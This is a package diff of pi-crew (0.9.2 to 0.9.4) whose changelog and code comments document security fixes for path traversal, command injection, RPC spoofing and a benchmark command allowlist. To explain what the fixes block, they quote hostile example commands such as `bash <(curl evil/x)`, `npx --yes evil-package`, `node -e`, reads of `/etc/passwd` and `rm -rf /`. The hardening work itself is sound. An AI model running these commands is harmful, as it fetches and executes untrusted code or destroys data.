pi-crew 0.9.2 → 0.9.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +122 -0
- package/package.json +1 -1
- package/src/benchmark/benchmark-runner.ts +11 -3
- package/src/config/config.ts +5 -10
- package/src/extension/team-tool/run.ts +11 -6
- package/src/hooks/registry.ts +2 -2
- package/src/runtime/async-runner.ts +68 -14
- package/src/runtime/background-runner.ts +11 -1
- package/src/runtime/cross-extension-rpc.ts +32 -8
- package/src/runtime/orphan-worker-registry.ts +16 -6
- package/src/runtime/post-checks.ts +8 -6
- package/src/runtime/task-runner.ts +6 -5
- package/src/runtime/verification-gates.ts +24 -13
- package/src/tools/safe-bash.ts +26 -4
- package/src/ui/live-conversation-overlay.ts +15 -2
- package/src/ui/live-run-sidebar.ts +7 -0
- package/src/ui/settings-overlay.ts +2 -28
- package/src/ui/tool-renderers/index.ts +5 -5
- package/src/workflows/intermediate-store.ts +4 -0
- package/src/worktree/branch-freshness.ts +10 -1
package/CHANGELOG.md
CHANGED
|
@@ -1,5 +1,127 @@
|
|
|
1
1
|
# Changelog
|
|
2
2
|
|
|
3
|
+
## [v0.9.4] — fix macOS CI: benchmark allowlist + cross-platform fixtures (2026-06-23)
|
|
4
|
+
|
|
5
|
+
Patch fix for a CI failure introduced in v0.9.3 (caught by the macOS CI job,
|
|
6
|
+
which the v0.9.3 release unfortunately did not wait for — lesson learned).
|
|
7
|
+
|
|
8
|
+
### What was wrong
|
|
9
|
+
|
|
10
|
+
The v0.9.3 benchmark test fixtures used `grep --help` as a benign exit-0
|
|
11
|
+
command. GNU grep (Linux) exits 0, but **BSD grep (macOS) does not support
|
|
12
|
+
`--help`** and exits 2 — so `runBenchmarkSuite computes total counts` failed
|
|
13
|
+
on macOS CI (`2 !== 0`). Local Linux verification missed this.
|
|
14
|
+
|
|
15
|
+
### Fix
|
|
16
|
+
|
|
17
|
+
- `benchmark-runner.ts`: added `echo` to the command allowlist. Safe because the
|
|
18
|
+
shell-metachar blocker already rejects command substitution (`$(…)`, backticks),
|
|
19
|
+
so `echo $(evil)` cannot execute; bare `echo …` only prints. `echo` is the
|
|
20
|
+
canonical cross-platform exit-0 command.
|
|
21
|
+
- `test/unit/benchmark.test.ts`: fixtures switched from `grep --help` → `echo ok`
|
|
22
|
+
(exits 0 on Linux/macOS/Windows-sh). The "not in allowlist" test now uses `ls`
|
|
23
|
+
(genuinely disallowed).
|
|
24
|
+
|
|
25
|
+
### Process note
|
|
26
|
+
|
|
27
|
+
This is the release where the project re-commits to: **tag/publish ONLY after
|
|
28
|
+
the full OS matrix CI (ubuntu/windows/macos) is green.** v0.9.3 was published
|
|
29
|
+
mid-CI-run; the package itself is correct (the broken file is test-only and
|
|
30
|
+
not shipped), but the repo CI went red. v0.9.4 restores green CI.
|
|
31
|
+
|
|
32
|
+
## [v0.9.3] — security hardening + crash-diagnostics (code review 2026-06-23)
|
|
33
|
+
|
|
34
|
+
Patch release addressing findings from a full codebase code review
|
|
35
|
+
(`research-findings/pi-crew-code-review-2026-06-23.md`), plus observability fixes
|
|
36
|
+
for silent background-runner deaths.
|
|
37
|
+
|
|
38
|
+
### Critical
|
|
39
|
+
|
|
40
|
+
- **C-1** `worktree/branch-freshness.ts`: the `git()` helper spawned git with the
|
|
41
|
+
full parent env, leaking every API key/token to any git hook/alias/credential-
|
|
42
|
+
helper. Now uses `sanitizeEnvSecrets()` (mirrors `worktree-manager.ts`).
|
|
43
|
+
|
|
44
|
+
### High
|
|
45
|
+
|
|
46
|
+
- **H-1** `tools/safe-bash.ts`: `isDangerous()` missed Bash process substitution
|
|
47
|
+
`<(...)`/`>(...)`, which executes commands in a subshell bypassing all pipe-
|
|
48
|
+
based checks (e.g. `bash <(curl evil/x)`). Now blocked.
|
|
49
|
+
- **H-2** `runtime/cross-extension-rpc.ts`: RPC authorization relied on a
|
|
50
|
+
self-declared `source === "pi-crew"` field any co-installed extension could
|
|
51
|
+
spoof. Now also requires an unguessable per-process token (`getCrewRpcToken()`).
|
|
52
|
+
- **H-3** `extension/team-tool/run.ts`: result/summary artifact reads used a
|
|
53
|
+
`path.isAbsolute()` shortcut + bare `path.join`, allowing arbitrary file read
|
|
54
|
+
(`/etc/passwd`) and `../` traversal. Now routed through `resolveRealContainedPath()`.
|
|
55
|
+
- **H-4** `ui/live-conversation-overlay.ts`: `cachedLines` grew unbounded during
|
|
56
|
+
long live sessions (OOM). Now capped at 5000 lines (ring buffer).
|
|
57
|
+
- **H-6** `runtime/orphan-worker-registry.ts`: `pid` was interpolated into an
|
|
58
|
+
`execSync` shell string with no runtime assertion (command injection via a
|
|
59
|
+
poisoned state file). Now `Number.isFinite()`-guarded + `execFileSync` argv.
|
|
60
|
+
- **H-7** `benchmark/benchmark-runner.ts`: the command allowlist permitted `npx`/
|
|
61
|
+
`node`, enabling arbitrary code execution without metacharacters
|
|
62
|
+
(`npx --yes evil`, `node -e …`). Removed; use `npm test`/`cargo test`.
|
|
63
|
+
|
|
64
|
+
### Medium
|
|
65
|
+
|
|
66
|
+
- **M-1** `runtime/post-checks.ts`, `runtime/task-runner.ts`: hand-rolled
|
|
67
|
+
`path.resolve + startsWith` containment was vulnerable to symlink traversal;
|
|
68
|
+
replaced with `resolveRealContainedPath()`.
|
|
69
|
+
- **M-2** `workflows/intermediate-store.ts`: `phase`/`stepId` were interpolated
|
|
70
|
+
into a filename via `path.join` with no validation (path traversal via a
|
|
71
|
+
poisoned stepId). Now validated with `isSafePathId()`.
|
|
72
|
+
- **M-3/M-4** `runtime/verification-gates.ts`: the dangerous-shell regex allowed
|
|
73
|
+
bare `>` file redirects and used a confusing `[^^&]` char class. Replaced with
|
|
74
|
+
a `[<>](?![&\d])` lookahead that blocks file redirects while allowing
|
|
75
|
+
`2>&1`/`>&N` fd-duplication.
|
|
76
|
+
- **M-5** `tools/safe-bash.ts`: the overly-permissive-`allowPatterns` rejection
|
|
77
|
+
only caught patterns matching both `""` and `"rm -rf /"`; a pattern like `/.+/`
|
|
78
|
+
bypassed it. Now tests each pattern against a battery of dangerous commands.
|
|
79
|
+
(`safeRead` removed from the `permissive` preset — it allowed `cat` of any file.)
|
|
80
|
+
- **M-7** `config/config.ts`: the `PI_TEAMS_HOME` containment check was bypassed
|
|
81
|
+
whenever `NODE_ENV=test`, reachable from staging/CI environments. The explicit
|
|
82
|
+
`PI_CREW_SKIP_HOME_CHECK=1` flag is now the only opt-out (test runner sets it).
|
|
83
|
+
- **M-8** `hooks/registry.ts`: the prototype-pollution key lookup omitted
|
|
84
|
+
`.normalize("NFKC")`, so fullwidth-confusable keys (e.g. `__proto__`, U+FF4F)
|
|
85
|
+
bypassed sanitization. Now normalized in both lookups.
|
|
86
|
+
- **M-9** `runtime/verification-gates.ts`: the command-timeout `setTimeout` was
|
|
87
|
+
never stored/cleared, keeping the event loop alive for the full timeout and
|
|
88
|
+
firing `kill()` on an already-dead process. Now stored, `unref()`'d, and
|
|
89
|
+
cleared on close/error.
|
|
90
|
+
- **M-10** `ui/live-run-sidebar.ts`: `dispose()` did not clear `autoCloseTimeout`,
|
|
91
|
+
so a disposed sidebar could fire `done()` later. Now cleared.
|
|
92
|
+
- **M-11** `ui/settings-overlay.ts`: local width/truncate helpers counted
|
|
93
|
+
characters naively (broke CJK/emoji alignment). Now delegate to the
|
|
94
|
+
Unicode-aware `utils/visual.ts`.
|
|
95
|
+
- **M-13** `ui/tool-renderers/index.ts`: removed dead `linkPath()` that
|
|
96
|
+
interpolated a path into an OSC-8 escape without sanitizing control chars.
|
|
97
|
+
|
|
98
|
+
### Crash diagnostics (background runner)
|
|
99
|
+
|
|
100
|
+
Three observability fixes so silent background-runner deaths leave a trace
|
|
101
|
+
(root-caused a memory-pressure OOM/abort that previously vanished without a log):
|
|
102
|
+
|
|
103
|
+
- **async-runner.ts**: drain the child stderr pipe into `background.log` instead
|
|
104
|
+
of destroying it (native abort/segfault messages were being swallowed). Buffer
|
|
105
|
+
capped at 256 KB.
|
|
106
|
+
- **async-runner.ts**: V8 `--report-on-fatalerror` is now ON by default (writes a
|
|
107
|
+
report file into the run stateRoot); opt out with `PI_CREW_BG_REPORT_ON_FATAL=0`.
|
|
108
|
+
- **background-runner.ts**: documented why the console redirect alone cannot
|
|
109
|
+
catch native crashes.
|
|
110
|
+
|
|
111
|
+
### Tests
|
|
112
|
+
|
|
113
|
+
- Regression tests added for H-1 (process substitution) and M-8 (NFKC-confusable
|
|
114
|
+
prototype pollution).
|
|
115
|
+
- `getBackgroundRunnerCommand` tests updated for the new default report flags.
|
|
116
|
+
- Benchmark test fixtures migrated off `npx`/`node` (now `grep --help`).
|
|
117
|
+
|
|
118
|
+
### Not addressed in this release
|
|
119
|
+
|
|
120
|
+
- **H-5** (transcript-viewer redundant disk I/O) — performance, deferred.
|
|
121
|
+
- **H-8** (live-control injection) — pair with full event-bus origin signing.
|
|
122
|
+
- **M-6** (per-child API-key scoping) — architectural; tracked separately.
|
|
123
|
+
- **M-12/M-14** (widget dedup, shared elapsed helper) — maintainability, deferred.
|
|
124
|
+
|
|
3
125
|
## [v0.9.2] — package cleanup: remove scratch scripts leaked into npm tarball (2026-06-22)
|
|
4
126
|
|
|
5
127
|
Patch release. **No code changes.** Purely a published-package hygiene fix.
|
package/package.json
CHANGED
|
@@ -41,10 +41,18 @@ export interface BenchmarkResult {
|
|
|
41
41
|
* Uses comprehensive shell metacharacter blocking similar to safe-bash.ts.
|
|
42
42
|
*/
|
|
43
43
|
function validateCommand(command: string): void {
|
|
44
|
-
// Basic allowlist - must start with allowed command
|
|
45
|
-
|
|
44
|
+
// Basic allowlist - must start with an allowed command.
|
|
45
|
+
// SECURITY (H-7): `npx`/`node` were removed because they enable arbitrary code
|
|
46
|
+
// execution without any shell metacharacter (e.g. `npx --yes evil-package`
|
|
47
|
+
// or `node -e "require('fs')…"`). Use `npm test`/`npm run …` instead of raw
|
|
48
|
+
// `node`/`npx` in benchmark task definitions.
|
|
49
|
+
// `echo` is allowed because the metachar blocker (validateGateCommand) rejects
|
|
50
|
+
// command substitution (`$(...)`, backticks), so `echo $(evil)` cannot run;
|
|
51
|
+
// bare `echo …` only prints. It's the canonical exit-0 command used in
|
|
52
|
+
// benchmark fixtures across Linux/macOS/Windows(sh).
|
|
53
|
+
const allowlist = /^(pytest|grep|npm test|cargo test|cargo clippy|echo) /;
|
|
46
54
|
if (!allowlist.test(command)) {
|
|
47
|
-
throw new Error(`Command not allowed: ${command}. Only pytest, grep, npm test,
|
|
55
|
+
throw new Error(`Command not allowed: ${command}. Only pytest, grep, npm test, cargo test/clippy, echo allowed.`);
|
|
48
56
|
}
|
|
49
57
|
|
|
50
58
|
// Block shell metacharacters after command name
|
package/src/config/config.ts
CHANGED
|
@@ -84,16 +84,11 @@ function resolveHomeDir(): string {
|
|
|
84
84
|
if (process.env.PI_CREW_SKIP_HOME_CHECK === "1") {
|
|
85
85
|
return envValue;
|
|
86
86
|
}
|
|
87
|
-
//
|
|
88
|
-
//
|
|
89
|
-
//
|
|
90
|
-
//
|
|
91
|
-
//
|
|
92
|
-
// test environments. Any test verifying path-restriction behavior should set
|
|
93
|
-
// PI_CREW_SKIP_HOME_CHECK=1 and validate the path directly.
|
|
94
|
-
if (process.env.NODE_ENV === "test") {
|
|
95
|
-
return envValue;
|
|
96
|
-
}
|
|
87
|
+
// M-7 fix (code-review 2026-06-23): the previous `NODE_ENV === "test"` bypass
|
|
88
|
+
// was reachable from any production-ish environment that happened to set
|
|
89
|
+
// NODE_ENV=test (CI smoke tests, staging), allowing a malicious .env to
|
|
90
|
+
// redirect PI_TEAMS_HOME anywhere. The explicit opt-out flag above is the only
|
|
91
|
+
// bypass now; the test runner sets it (scripts/test-runner.mjs).
|
|
97
92
|
try {
|
|
98
93
|
const userHome = fs.realpathSync(defaultHome);
|
|
99
94
|
const resolvedHome = fs.realpathSync(envValue);
|
|
@@ -15,6 +15,7 @@ import type { executeTeamRun as ExecuteTeamRunFn } from "../../runtime/team-runn
|
|
|
15
15
|
// eslint-disable-next-line @typescript-eslint/no-unused-vars -- type-only import for TS inference
|
|
16
16
|
const _typeCheck: typeof ExecuteTeamRunFn = null as never as typeof ExecuteTeamRunFn;
|
|
17
17
|
import { logInternalError } from "../../utils/internal-error.ts";
|
|
18
|
+
import { resolveRealContainedPath } from "../../utils/safe-paths.ts";
|
|
18
19
|
let _cachedExecuteTeamRun: typeof ExecuteTeamRunFn | undefined;
|
|
19
20
|
async function executeTeamRun(...args: Parameters<typeof ExecuteTeamRunFn>): Promise<Awaited<ReturnType<typeof ExecuteTeamRunFn>>> {
|
|
20
21
|
if (!_cachedExecuteTeamRun) {
|
|
@@ -439,9 +440,11 @@ export async function handleRun(params: TeamToolParamsValue, ctx: TeamContext):
|
|
|
439
440
|
let resultExcerpt = "";
|
|
440
441
|
if (task.resultArtifact?.path) {
|
|
441
442
|
try {
|
|
442
|
-
|
|
443
|
-
|
|
444
|
-
|
|
443
|
+
// H-3 fix (code-review 2026-06-23): resolve the result artifact path
|
|
444
|
+
// inside artifactsRoot via the project's safe-path primitive. Rejects
|
|
445
|
+
// absolute paths (/etc/passwd) and ../ traversal that the old
|
|
446
|
+
// path.isAbsolute shortcut + bare path.join allowed.
|
|
447
|
+
const resPath = resolveRealContainedPath(completed.manifest.artifactsRoot, task.resultArtifact.path);
|
|
445
448
|
resultExcerpt = fs.readFileSync(resPath, "utf-8").trim().slice(0, 2000);
|
|
446
449
|
} catch {
|
|
447
450
|
resultExcerpt = "(result unavailable)";
|
|
@@ -572,9 +575,11 @@ export async function handleRun(params: TeamToolParamsValue, ctx: TeamContext):
|
|
|
572
575
|
let resultExcerpt = "";
|
|
573
576
|
if (task.resultArtifact?.path) {
|
|
574
577
|
try {
|
|
575
|
-
|
|
576
|
-
|
|
577
|
-
|
|
578
|
+
// H-3 fix (code-review 2026-06-23): resolve the result artifact path
|
|
579
|
+
// inside artifactsRoot via the project's safe-path primitive. Rejects
|
|
580
|
+
// absolute paths (/etc/passwd) and ../ traversal that the old
|
|
581
|
+
// path.isAbsolute shortcut + bare path.join allowed.
|
|
582
|
+
const resPath = resolveRealContainedPath(completed.manifest.artifactsRoot, task.resultArtifact.path);
|
|
578
583
|
resultExcerpt = fs.readFileSync(resPath, "utf-8").trim().slice(0, 2000);
|
|
579
584
|
} catch {
|
|
580
585
|
resultExcerpt = "(result unavailable)";
|
package/src/hooks/registry.ts
CHANGED
|
@@ -71,7 +71,7 @@ export async function executeHook(name: HookName, ctx: HookContext): Promise<Hoo
|
|
|
71
71
|
function sanitizeMergeData(data: Record<string, unknown>): Record<string, unknown> {
|
|
72
72
|
const clean: Record<string, unknown> = {};
|
|
73
73
|
for (const [k, v] of Object.entries(data)) {
|
|
74
|
-
if (!POLLUTED_KEYS.has(k.toLowerCase())) {
|
|
74
|
+
if (!POLLUTED_KEYS.has(k.toLowerCase().normalize("NFKC"))) {
|
|
75
75
|
if (v !== null && typeof v === "object") {
|
|
76
76
|
if (Array.isArray(v)) {
|
|
77
77
|
// Sanitize array elements that are objects
|
|
@@ -91,7 +91,7 @@ export async function executeHook(name: HookName, ctx: HookContext): Promise<Hoo
|
|
|
91
91
|
// This sanitization runs at the start of executeHook to prevent prototype pollution attacks.
|
|
92
92
|
function sanitizeContext(ctx: HookContext): HookContext {
|
|
93
93
|
for (const key of Object.keys(ctx)) {
|
|
94
|
-
if (POLLUTED_KEYS.has(key.toLowerCase())) {
|
|
94
|
+
if (POLLUTED_KEYS.has(key.toLowerCase().normalize("NFKC"))) {
|
|
95
95
|
delete ctx[key];
|
|
96
96
|
}
|
|
97
97
|
}
|
|
@@ -107,6 +107,12 @@ export function getBackgroundRunnerCommand(
|
|
|
107
107
|
cwd: string,
|
|
108
108
|
runId: string,
|
|
109
109
|
loaderInput: LoaderInput = resolveTypeScriptLoader(),
|
|
110
|
+
/**
|
|
111
|
+
* Directory to write the V8 fatal-error report into. Defaults to
|
|
112
|
+
* path.dirname(runnerPath). Pass the run stateRoot so the report lands
|
|
113
|
+
* next to background.log for easy diagnosis.
|
|
114
|
+
*/
|
|
115
|
+
reportDirectory?: string,
|
|
110
116
|
): { args: string[]; loader: "jiti" | "strip-types" } {
|
|
111
117
|
const loader = normalizeLoaderInput(loaderInput);
|
|
112
118
|
if (!loader) throw new Error(buildLoaderUnavailableMessage(packageRootFromRuntime()));
|
|
@@ -116,13 +122,16 @@ export function getBackgroundRunnerCommand(
|
|
|
116
122
|
// defaults to ~1.5GB on 64-bit systems, which combined with jiti compilation
|
|
117
123
|
// and child processes can exhaust system memory.
|
|
118
124
|
const memoryLimit = "--max-old-space-size=512";
|
|
119
|
-
//
|
|
120
|
-
//
|
|
121
|
-
//
|
|
122
|
-
//
|
|
123
|
-
//
|
|
124
|
-
|
|
125
|
-
|
|
125
|
+
// V8 diagnostic report on fatal error. A native heap-OOM abort or segfault
|
|
126
|
+
// bypasses the JS process.on('exit') handler and console overrides
|
|
127
|
+
// entirely — only a V8 report file survives such crashes. This is ON by
|
|
128
|
+
// default precisely so silent runner deaths (like the explore→code-review
|
|
129
|
+
// transition crash) leave a native stack/heap/environment trace. Users who
|
|
130
|
+
// don't want report files can opt out with PI_CREW_BG_REPORT_ON_FATAL=0.
|
|
131
|
+
const reportOn = !(process.env.PI_CREW_BG_REPORT_ON_FATAL === "0" || process.env.PI_TEAMS_BG_REPORT_ON_FATAL === "0");
|
|
132
|
+
const reportDir = reportDirectory ?? path.dirname(runnerPath);
|
|
133
|
+
const reportFlags = reportOn
|
|
134
|
+
? ["--report-on-fatalerror", "--report-compact", `--report-directory=${reportDir}`]
|
|
126
135
|
: [];
|
|
127
136
|
if (loader.kind === "jiti") {
|
|
128
137
|
return {
|
|
@@ -243,7 +252,9 @@ export async function spawnBackgroundTeamRun(manifest: TeamRunManifest): Promise
|
|
|
243
252
|
appendEvent(manifest.eventsPath, { type: "async.failed", runId: manifest.runId, message });
|
|
244
253
|
throw new Error(message);
|
|
245
254
|
}
|
|
246
|
-
|
|
255
|
+
// Pass manifest.stateRoot as report-directory so V8 fatal reports land
|
|
256
|
+
// next to background.log (same dir) for easy post-mortem diagnosis.
|
|
257
|
+
const command = getBackgroundRunnerCommand(runnerPath, manifest.cwd, manifest.runId, loader, manifest.stateRoot);
|
|
247
258
|
fs.appendFileSync(logPath, `[pi-crew] background loader=${command.loader}\n`, "utf-8");
|
|
248
259
|
|
|
249
260
|
// Spawn the background runner as a fully detached process with its own session.
|
|
@@ -266,13 +277,56 @@ export async function spawnBackgroundTeamRun(manifest: TeamRunManifest): Promise
|
|
|
266
277
|
windowsHide: true,
|
|
267
278
|
} as unknown as Parameters<typeof spawn>[2];
|
|
268
279
|
const child = spawn(process.execPath, command.args, spawnOpts);
|
|
269
|
-
// Round 27 (BUG 3): the piped stdout/stderr
|
|
270
|
-
//
|
|
271
|
-
//
|
|
272
|
-
//
|
|
273
|
-
//
|
|
280
|
+
// Round 27 (BUG 3) history: the piped stdout/stderr were previously destroyed
|
|
281
|
+
// immediately to avoid a pipe-buffer deadlock (child writes >64KB with nobody
|
|
282
|
+
// draining → hang). BUT destroying stderr ALSO swallowed native crash
|
|
283
|
+
// messages: a V8 heap-OOM abort() or segfault writes its diagnostic directly
|
|
284
|
+
// to the process stderr fd, which was the (now-destroyed) pipe read-end, so
|
|
285
|
+
// the bytes vanished — making runner deaths completely silent. This caused
|
|
286
|
+
// the explore→code-review transition crash to leave zero trace.
|
|
287
|
+
//
|
|
288
|
+
// FIX: keep stdout destroyed (unused — runner redirects its own console to
|
|
289
|
+
// a file), but DRAIN stderr asynchronously into background.log with a
|
|
290
|
+
// "[child stderr]" prefix. Buffer is capped to avoid unbounded memory if a
|
|
291
|
+
// noisy child streams megabytes; excess is dropped with a truncation marker.
|
|
274
292
|
child.stdout?.destroy();
|
|
275
|
-
|
|
293
|
+
const STDERR_CAPTURE_LIMIT = 256 * 1024;
|
|
294
|
+
const stderrChunks: Buffer[] = [];
|
|
295
|
+
let stderrLen = 0;
|
|
296
|
+
let stderrTruncated = false;
|
|
297
|
+
const flushStderr = (): void => {
|
|
298
|
+
if (stderrChunks.length === 0) return;
|
|
299
|
+
let body: string;
|
|
300
|
+
try {
|
|
301
|
+
body = Buffer.concat(stderrChunks).toString("utf-8");
|
|
302
|
+
} catch {
|
|
303
|
+
stderrChunks.length = 0;
|
|
304
|
+
return;
|
|
305
|
+
}
|
|
306
|
+
stderrChunks.length = 0;
|
|
307
|
+
try {
|
|
308
|
+
fs.appendFileSync(logPath, `[child stderr] ${body}${body.endsWith("\n") ? "" : "\n"}`, "utf-8");
|
|
309
|
+
} catch {
|
|
310
|
+
/* best-effort */
|
|
311
|
+
}
|
|
312
|
+
};
|
|
313
|
+
child.stderr?.on("data", (chunk: Buffer) => {
|
|
314
|
+
if (stderrLen + chunk.length > STDERR_CAPTURE_LIMIT) {
|
|
315
|
+
if (!stderrTruncated) {
|
|
316
|
+
stderrTruncated = true;
|
|
317
|
+
try {
|
|
318
|
+
fs.appendFileSync(logPath, `[child stderr truncated at ${STDERR_CAPTURE_LIMIT} bytes]\n`, "utf-8");
|
|
319
|
+
} catch {
|
|
320
|
+
/* best-effort */
|
|
321
|
+
}
|
|
322
|
+
}
|
|
323
|
+
return;
|
|
324
|
+
}
|
|
325
|
+
stderrChunks.push(chunk);
|
|
326
|
+
stderrLen += chunk.length;
|
|
327
|
+
});
|
|
328
|
+
child.stderr?.on("end", flushStderr);
|
|
329
|
+
child.stderr?.on("close", flushStderr);
|
|
276
330
|
child.on("error", (error: Error) => {
|
|
277
331
|
logInternalError("async-runner.spawn", error, `pid=${child.pid ?? "unknown"}`);
|
|
278
332
|
});
|
|
@@ -294,7 +294,17 @@ async function main(): Promise<void> {
|
|
|
294
294
|
// FIX: Store logFd so it can be closed on exit to prevent file descriptor leak
|
|
295
295
|
let logFd: number | undefined;
|
|
296
296
|
// Redirect console to background.log since stdio is "ignore" in detached mode.
|
|
297
|
-
//
|
|
297
|
+
// This is the ABSOLUTE FIRST thing main() does after reading --cwd/--run-id
|
|
298
|
+
// (which are required to build the log path). Any later — after heavy imports,
|
|
299
|
+
// scrubProcessEnv, or signal handler setup — and JS-level crashes during those
|
|
300
|
+
// steps would lose their console output.
|
|
301
|
+
//
|
|
302
|
+
// NOTE on native crashes: a V8 heap-OOM abort() or segfault bypasses this
|
|
303
|
+
// console redirect entirely (it writes straight to the process stderr fd).
|
|
304
|
+
// Those are now captured two other ways: (1) the parent drains the child's
|
|
305
|
+
// stderr pipe into background.log (see async-runner.ts spawn), and (2) the
|
|
306
|
+
// V8 --report-on-fatalerror flag (ON by default) writes a report file into
|
|
307
|
+
// the run stateRoot. This console redirect only covers JS-level output.
|
|
298
308
|
const _cwd = argValue("--cwd");
|
|
299
309
|
const _runId = argValue("--run-id");
|
|
300
310
|
if (_cwd && _runId) {
|
|
@@ -1,3 +1,5 @@
|
|
|
1
|
+
import * as crypto from "node:crypto";
|
|
2
|
+
|
|
1
3
|
export interface EventBus {
|
|
2
4
|
on(event: string, handler: (data: unknown) => void): () => void;
|
|
3
5
|
emit(event: string, data: unknown): void;
|
|
@@ -9,6 +11,20 @@ export type RpcReply<T = void> =
|
|
|
9
11
|
|
|
10
12
|
export const PROTOCOL_VERSION = 1;
|
|
11
13
|
|
|
14
|
+
// H-2 fix (code-review 2026-06-23): the old authorization relied on a
|
|
15
|
+
// self-declared `source === "pi-crew"` field, which any co-installed
|
|
16
|
+
// extension on the shared event bus can spoof. We now also require an
|
|
17
|
+
// unguessable per-process token. Only in-process pi-crew code can obtain it
|
|
18
|
+
// via getCrewRpcToken(); a cross-extension attacker cannot forge a UUID it
|
|
19
|
+
// has never seen. (A full fix still needs event-bus-level origin signing, but
|
|
20
|
+
// this closes the trivial spoof.)
|
|
21
|
+
let CREW_RPC_TOKEN: string | undefined;
|
|
22
|
+
/** @internal Per-process token that legitimate in-process RPC callers must include. */
|
|
23
|
+
export function getCrewRpcToken(): string {
|
|
24
|
+
if (!CREW_RPC_TOKEN) CREW_RPC_TOKEN = crypto.randomUUID();
|
|
25
|
+
return CREW_RPC_TOKEN;
|
|
26
|
+
}
|
|
27
|
+
|
|
12
28
|
export interface RpcDeps {
|
|
13
29
|
events: EventBus;
|
|
14
30
|
getCtx: () => unknown | undefined;
|
|
@@ -58,12 +74,20 @@ export function registerCrewRpcHandlers(deps: RpcDeps): RpcHandle {
|
|
|
58
74
|
// operations that create or terminate child processes. Any subscriber on
|
|
59
75
|
// the shared event bus can emit these events. In a multi-extension
|
|
60
76
|
// environment, this means a malicious extension could spawn/stop agents.
|
|
61
|
-
// Mitigation:
|
|
62
|
-
// the
|
|
63
|
-
//
|
|
77
|
+
// Mitigation (H-2): require an unguessable per-process token in addition to
|
|
78
|
+
// the legacy `source` identifier. Log all invocations for audit. A full fix
|
|
79
|
+
// still requires event-bus-level origin signing.
|
|
64
80
|
const CREW_RPC_SOURCE = "pi-crew";
|
|
81
|
+
const EXPECTED_TOKEN = getCrewRpcToken();
|
|
65
82
|
|
|
66
|
-
function validateRpcSource(params: { requestId: string; source?: string }): boolean {
|
|
83
|
+
function validateRpcSource(params: { requestId: string; source?: string; token?: string }): boolean {
|
|
84
|
+
if (params.token !== EXPECTED_TOKEN) {
|
|
85
|
+
console.warn(
|
|
86
|
+
`[pi-crew SECURITY] RPC invocation rejected: missing/invalid token (source=${params.source ?? "(none)"}). ` +
|
|
87
|
+
`Privileged RPC requires the in-process token. Request may be from an untrusted extension.`,
|
|
88
|
+
);
|
|
89
|
+
return false;
|
|
90
|
+
}
|
|
67
91
|
if (!params.source || params.source !== CREW_RPC_SOURCE) {
|
|
68
92
|
console.warn(
|
|
69
93
|
`[pi-crew SECURITY] RPC invocation from unexpected source: ${params.source ?? "(none)"}. ` +
|
|
@@ -74,22 +98,22 @@ export function registerCrewRpcHandlers(deps: RpcDeps): RpcHandle {
|
|
|
74
98
|
return true;
|
|
75
99
|
}
|
|
76
100
|
|
|
77
|
-
const unsubSpawn = handleRpc<{ requestId: string; type: string; prompt: string; options?: Record<string, unknown>; source?: string }>(
|
|
101
|
+
const unsubSpawn = handleRpc<{ requestId: string; type: string; prompt: string; options?: Record<string, unknown>; source?: string; token?: string }>(
|
|
78
102
|
events,
|
|
79
103
|
"crew:rpc:spawn",
|
|
80
104
|
(params) => {
|
|
81
|
-
if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC spawn requires source='pi-crew'");
|
|
105
|
+
if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC spawn requires valid token and source='pi-crew'");
|
|
82
106
|
const ctx = getCtx();
|
|
83
107
|
if (!ctx) throw new Error("No active session");
|
|
84
108
|
return { id: spawn(params.type, params.prompt, params.options ?? {}) };
|
|
85
109
|
},
|
|
86
110
|
);
|
|
87
111
|
|
|
88
|
-
const unsubStop = handleRpc<{ requestId: string; agentId: string; source?: string }>(
|
|
112
|
+
const unsubStop = handleRpc<{ requestId: string; agentId: string; source?: string; token?: string }>(
|
|
89
113
|
events,
|
|
90
114
|
"crew:rpc:stop",
|
|
91
115
|
(params) => {
|
|
92
|
-
if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC stop requires source='pi-crew'");
|
|
116
|
+
if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC stop requires valid token and source='pi-crew'");
|
|
93
117
|
if (!abort(params.agentId)) throw new Error("Agent not found");
|
|
94
118
|
},
|
|
95
119
|
);
|
|
@@ -23,7 +23,7 @@
|
|
|
23
23
|
*/
|
|
24
24
|
import * as fs from "node:fs";
|
|
25
25
|
import * as path from "node:path";
|
|
26
|
-
import { execSync } from "node:child_process";
|
|
26
|
+
import { execSync, execFileSync } from "node:child_process";
|
|
27
27
|
import { userPiRoot } from "../utils/paths.ts";
|
|
28
28
|
import { logInternalError } from "../utils/internal-error.ts";
|
|
29
29
|
import { withFileLockSync } from "../state/locks.ts";
|
|
@@ -109,12 +109,17 @@ function getProcessStartTimeLinux(pid: number): number | undefined {
|
|
|
109
109
|
}
|
|
110
110
|
|
|
111
111
|
function getProcessStartTimeMacOS(pid: number): number | undefined {
|
|
112
|
+
// SECURITY (H-6): validate pid is a finite positive number before use, and
|
|
113
|
+
// pass it as an argv element (not interpolated into a shell string) so a
|
|
114
|
+
// poisoned pid value can never reach a shell. Number.isFinite() rejects any
|
|
115
|
+
// non-numeric string that could carry shell metacharacters.
|
|
116
|
+
if (!Number.isFinite(pid) || pid <= 0) return undefined;
|
|
112
117
|
// Use sysctl to get process start time on macOS
|
|
113
118
|
// KERN_PROC_PID returns a kinfo_proc structure with p_starttime
|
|
114
119
|
try {
|
|
115
|
-
//
|
|
116
|
-
//
|
|
117
|
-
const output =
|
|
120
|
+
// For cross-platform consistency, use 'lstart' which gives full timestamp.
|
|
121
|
+
// execFileSync with an args array avoids shell interpretation entirely.
|
|
122
|
+
const output = execFileSync("ps", ["-p", String(pid), "-o", "lstart="], { encoding: "utf-8", timeout: 5000 }).trim();
|
|
118
123
|
if (!output) return undefined;
|
|
119
124
|
// Parse date string like "Mon Jan 15 10:30:45 2024"
|
|
120
125
|
const date = new Date(output);
|
|
@@ -126,12 +131,17 @@ function getProcessStartTimeMacOS(pid: number): number | undefined {
|
|
|
126
131
|
}
|
|
127
132
|
|
|
128
133
|
function getProcessStartTimeWindows(pid: number): number | undefined {
|
|
134
|
+
// SECURITY (H-6): validate pid is a finite positive number. After this guard
|
|
135
|
+
// the value is guaranteed numeric, so interpolating it into the PowerShell
|
|
136
|
+
// -Command string is safe (no shell metacharacters can be injected).
|
|
137
|
+
if (!Number.isFinite(pid) || pid <= 0) return undefined;
|
|
